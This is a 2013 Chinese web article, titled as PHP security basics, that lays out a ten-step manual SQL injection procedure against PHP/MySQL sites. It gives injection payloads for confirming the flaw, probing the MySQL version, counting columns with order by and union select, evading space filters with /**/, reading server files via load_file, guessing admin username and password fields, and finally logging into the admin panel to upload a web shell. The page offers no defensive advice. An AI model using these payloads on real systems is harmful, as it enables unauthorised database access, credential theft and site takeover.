All articles(网络文学目录) All Pictures(图片目录) All Softwares(软件目录)

 
PHP程序安全基础:手工php注入总结_php资料_编程技术

Writer: aaa Article type: Programming skills(编程技巧) Time: 2013/12/24 5:51:00 Browse times: 343 Comment times: 0

PHP程序安全基础:手工php注入总结_php资料_编程技术


Head photo

Go homepage
Upload pictures
Write articles

PHP程序安全基础:手工php注入总结_php资料_编程技术-你的首页-uuhomepage.com

1.判断是否存在注入,加';and 1=1;and 1=2

2.判断版本 and ord(mid(version(),1,1))>51 /* 返回正常说明是4.0以上版本,可以用union查询

3.利用order by 暴字段,在网址后加 order by 10 /* 如果返回正常说明字段大于10

4.再利用union来查询准确字段,如: and 1=2 union select 1,2,3,......./*直到返回正常,说明猜到准确字段数。如过滤了空格可以用/**/代替。

5.判断数据库连接帐号有没有写权限,and (select count(*) from mysql.user)>0 /*如果结果返回错误,那我们只能猜解管理员帐号和密码了。

6.如果返回正常,则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 /* 注:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。

7.首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6.... from user /* 如果返回正常,说明存在这个表。

8.知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6.... from user/*如果在2字段显示出字段内容则存在些字段。

9.同理再猜解password字段,猜解成功再找后台登录。

10.登录后台,上传shell。






There are 0 records,
Comment:
Must be registered users to comment(必须是注册用户才能发表评论)

Disclaimer Privacy Policy About us Site Map
Copyright ©2011-
uuhomepage.com, Inc. All rights reserved.